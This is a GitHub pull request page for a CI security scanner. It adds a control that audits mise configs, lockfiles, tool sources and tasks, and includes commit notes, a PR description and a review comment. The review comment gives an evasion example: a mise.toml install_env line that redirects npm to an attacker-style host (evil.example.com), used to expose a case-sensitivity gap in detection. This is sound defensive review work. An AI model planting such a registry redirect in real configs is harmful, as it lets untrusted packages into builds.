Repository navigation
feat(control): mise-en-place control: lockfile, versions, sources and tasks checks, local and remote (ISSUE-1001 to ISSUE-1019) - #665
Conversation
Answers the review on #665: - An unquoted version (node = 24, python = 3.12) still fails closed with ISSUE-1003. mise itself rejects it ("expected tool list"), so no mise lock can match it. The reason now says so, and a test pins it. - url_api is used as the download URL when url is missing. - provenance written as a string is read, and a download with provenance passes ISSUE-1005. - A committed mise.lock that does not parse is listed as unreadable, not treated as absent. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Answers the second review round on #665: - A mise file that cannot be read or parsed is now ISSUE-1009 (high) instead of marking the whole control not evaluated. The readable configs keep their findings, so one broken file no longer hides them. An unreadable mise.lock is ISSUE-1009, not a missing lockfile. - mise.exemptPaths skips mise files under the listed paths (globs, `*` within a directory, `**` across), for fixtures and examples. - Symlinks are followed, as mise follows them, only to a regular file inside the repository. A link out of it, to a device such as /dev/zero, or nowhere is ISSUE-1009, and every read is capped. - When a root config cannot be read, its [monorepo] setting is unknown: subproject configs are not judged for ISSUE-1001/1003, and the .tool-versions of a directory holding an unreadable config is not judged for ISSUE-1008. - config slim keeps a legacy config's absent lockfile block off instead of inheriting the default one. - Tests for the config init mise block and gitlabCheckoutIsAnalyzed. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…ew gaps Answers the third review round on #665: - ISSUE-1004 to ISSUE-1007 now skip a config that sets lockfile = false (ISSUE-1002 alone) and a subproject whose lockfile is unknown, as ISSUE-1001 and ISSUE-1003 already did. Before, a disabled lockfile still got checksum, provenance and platform findings. - Tests for the 2 MiB read cap, a readable [monorepo] root config next to an unreadable one, config.toml in .config/mise, mise and .mise directories, and a [tools] table with no version. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
ebb6db6 to
cde9442
Compare
| // isIndexEnvVar reports whether an install_env key is one of | ||
| // indexEnvVars, or an npm scoped registry (`NPM_CONFIG_@scope:registry`, | ||
| // any case, as npm reads it). | ||
| func isIndexEnvVar(k string) bool { |
There was a problem hiding this comment.
🔴 New control check
Medium: the sources check (ISSUE-1016) misses an npm registry redirect written with the canonical lowercase npm_config_registry install_env key, because isIndexEnvVar matches the plain npm registry variable case-sensitively. (Medium)
isIndexEnvVar (packagemanager/mise/mise.go:886) decides whether a tool's install_env key redirects a package manager at another index, which feeds ISSUE-1016 (mise-sources.rego, "a tool option that sets a download URL must set a trusted one"). The plain variables are matched case-sensitively via slices.Contains(indexEnvVars, k), with the list holding only the uppercase NPM_CONFIG_REGISTRY (line 878). Only the scoped npm branch is case-insensitive (strings.ToUpper(k) on line 890), and its own comment on line 884 notes npm reads the variable in "any case".
npm reads npm_config_-prefixed environment variables case-insensitively, and the canonical / idiomatic form is lowercase (npm_config_registry). So a trusted tool that redirects npm to an untrusted registry using that canonical form is not detected.
Concrete evasion (sources check enabled with a trustedOptions allowlist):
[tools]
"npm:some-trusted-cli" = { version = "1.0.0", install_env = { npm_config_registry = "https://evil.example.com" } }tableSourceOptions (line 944-950) calls isIndexEnvVar("npm_config_registry"), which returns false (not an exact match for NPM_CONFIG_REGISTRY, and the scoped branch fails because there is no @). No MiseToolOption is emitted, so ISSUE-1016 never fires and the redirect to the untrusted registry passes the control — even though mise install would run npm with npm_config_registry set and fetch from evil.example.com. The same config written as NPM_CONFIG_REGISTRY is flagged, so the detection depends on casing the attacker controls.
Suggested fix: match the plain index variables case-insensitively (e.g. upper-case k before comparing against an upper-cased indexEnvVars), consistent with the scoped-registry branch that already acknowledges npm's case-insensitivity. (Note: pip/uv/go env vars are conventionally uppercase, so the practical gap is npm's lowercase npm_config_registry; a test fixture with the lowercase key would catch this — the existing fixture at mise_test.go:959 only exercises the uppercase/scoped forms.)
Control: .github/claude-prompts/new-control-check.md · resolve this conversation once addressed.
Conflicts with the member quota control (#504) and the merge gates (#677), both sides kept everywhere: - control/task.go: the engine config goes through engineConfigFor then omitUnreadMergeGates; the two GitLab early returns attach the member quota verdict and mark mise-en-place not evaluated; runRegoEngine keeps its error return and takes membersData; the end of the run marks the merge gates gap and the mise gap. - control/packagemanagers_run_test.go: runRegoEngine call updated to the new signature (a compile break git did not flag). - control/platform_call_inventory_test.go: recorder fields of both sides. - test lists and the fingerprint golden: both controls listed. - cmd/testdata/catalog_golden.json: regenerated with -update-catalog. Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01UuPoP4xPXZ8rLEDYRiKznq
…1001 to ISSUE-1019) (#586) CLI 0.7.27 ships the mise-en-place control (getplumber/plumber#665, with the remote reading of #681 folded in) and links every finding to an issue page that did not exist. This adds the 19 issue pages, the control's catalog entry and CTRL-1001 id, and its section in the controls configuration reference: the top-level mise block, its four checks, unreadable files, remote runs, when the control is not evaluated, and known limits. The configuration anchor lookup now accepts hyphenated control keys.
What type of PR is this?
feat
What this PR does / why we need it:
Many repos pin their CI tools with mise, so
mise.tomlandmise.lockdecide what CI installs. This PR adds the controlmise-en-place. Plumber reads every committed mise config, lockfile and task in the repository (it never runs mise), from the local checkout or through the GitHub or GitLab API, and checks four things: the lockfile, the versions requested, where tools come from, and the tasks each project declares.This PR was a stack of five (#665, #666, #669, #670, #681). They were collapsed into this one so CI runs on the whole change, and the others were closed.
lockfile = false, also inherited from a parent config)trustedProvenancerequireProvenance)requiredPlatforms)minimumLockfileVersion).tool-versions, which mise never locksrequired: trueand the repository has no mise configforbiddenVersions{{ }}template, an empty or unquoted version)trustedToolspatternmise.lockmatches notrustedRegistriespattern[settings] url_replacementstarget matches notrustedReplacementpatterntrustedOptionspatternrequired*.local.toml) is committedEach code has a
subject, exported in the catalog, so the codes of one check can be filtered together.mise doesn't depend on the provider, so it gets a top-level
mise:key in.plumber.yaml. A missing block orenabled: falsemeans no mise file is read and nothing is reported.Patterns are globs, validated when the config loads.
General behavior
exemptPathsdoesn't stop the run, unless a checked config pairs with that lockfile.*.local.tomlcounts only when git tracks it.--controls/--skip-controls. On--platform, a policy whose data wasn't read reports the control as not evaluated, not passed. A GitLab run that stops early (no CI file, a network failure) also reports it not evaluated.Versions. The check reads the request as written in
mise.toml, which is what people review. Withnode = "latest",mise.lockstill pins a version, but the nextmise lock --bumpmoves it with no change to the config.ref:*is not in the default list because a SHA ref can't move. Only[tools]of mise configs is judged:.tool-versionsis read by the lockfile check only (ISSUE-1009).Sources.
aqua:jqlang/jq), or for a shorthand the backend its lock entry records.urleach platform entry ofmise.lockrecords, so a change tomise.lockalone can't point a trusted tool at another host. WithouttrustedRegistriesthe URLs aren't checked;[]trusts none. Only binary backends (aqua, github, gitlab, ubi, http) lock a URL, so a mirror setting for a go, npm, cargo or pip tool is not checked.url_replacements, whichmise.lockdoesn't show.api_url,url,platforms.<os-arch>.urland the pip options (registry_url,indexes,pipx_args,uvx_args, the index variables ofinstall_env). Inpipx_args/uvx_argsevery URL is judged, whatever flag carries it, and an argument with no URL (--include-deps) gives nothing.Tasks. What counts as a project's tasks matches
mise tasks ls(checked side by side on mise 2026.11.16):[tasks]tables with aliases, TOML task files, executable files in the task directories ortask_config.includes, tasks inherited from parent directories,task.skipandtask.disable_pathshonored,mise.<env>.tomlleft out. Remote, templated or out-of-repo includes and includes past 20,000 files are not read, and the finding names them. Paths are resolved whole, so a symlinked parent (esc -> /) can't take a read out of the repository.Remote reading. A remote run (
plumber analyze owner/repo, or GitLab at another ref) reads the mise files through the API: one tree listing, then the files in batches.packagemanager/misereads through anFSinterface,DirFSfor a checkout andinternal/repofsfor a remote tree, with the same symlink rules.git/trees/<commit>?recursive=1requestobject(expression:)a queryblobs(paths:), 50 a query, sizes asked firstgit/blobs/<oid>for a file whose GraphQL text is truncated or not byte-exact, checked against the oidblobsfails (GitLab < 13.11)GraphQL has no recursive tree: nesting
Tree.entriestook 135 queries and about 234 s on jdx/mise, against one request and 0.67 s for the REST tree. A repository too large to read remotely (a GitHub tree over 100,000 entries or 7 MB, or more than 5,000 files) leaves mise-en-place not evaluated (collection_failed) and the run degraded; every other control still reports.Which issue(s) this PR is related to:
Part of #254.
Closes #678
Closes #668
Special notes for your reviewer:
MISE_URL_REPLACEMENTSset from the pipeline (mise lockfile: MISE_LOCKFILE=0 in the CI file turns locking off and is never checked #675, mise versions: a version set from the pipeline (MISE_<TOOL>_VERSION, mise use tool@latest) is never checked #676), and checking that the workflow runs the required tasks (mise tasks: check that the workflow runs the required tasks (mise run <task>) #679, stacked on this branch)..nvmrc,.python-version), which mise reads only underidiomatic_version_file_enable_tools; mirror settings and[env]index variables.--outputJSON (cmd/legacy_json*.go) is untouched, so it doesn't carry these findings.trustedProvenanceandtrustedRegistriesare pointers in Go so that[]survives a YAML round trip.make lintshows 7reflect.Ptr"inline" notes on golangci-lint 2.15, all in files this PR doesn't touch. CI pins v2.10.1.Does this PR introduce a user-facing change?
How was this tested?
make testpasses: the scanner (symlinks, exempt paths, tracked local configs, inherited settings, source options, the task collector with every include kind and the containment cases), every scan test case run both on a checkout and throughrepofs, the Rego cases for every code, config decoding (each key from YAML, bad globs, rejected old keys, YAML round trips), the GitHub and GitLab remote readers, the GitLab early returns, and the catalog and fingerprint goldens..github/claude-prompts/*.mdreview ran on every part of the stack, and again on the fixes for the bot findings, each in its own agent.esc -> /): 27 s and about 200 GB read before the containment fixes, 0.9 s after.plumber analyze --controls mise-en-placeon getplumber-examples/plumber-mise-example (one folder per subject, oneissue-NNNN/per code, realmise lockoutput), and on its GitLab copy:mainversions/issue-1012also gives ISSUE-1003), nothing at the root or inexempt-path/mise.tomloutsideexemptPathscannot read the mise files below; fix them or list their paths in mise.exemptPaths:then one line per fileTime to read the mise files: 26 to 37 ms on a checkout, 1.2 to 2.1 s through GitHub, 0.9 to 1.1 s through GitLab, 1.9 to 2.3 s for jdx/mise (6,664 entries) through GitHub.
AI usage disclosure:
YES. Claude Code wrote the code, tests and docs, and built the example repos, following decisions made with the author on #254 and #678. The author reviewed the changes and is responsible for them.
🤖 Generated with Claude Code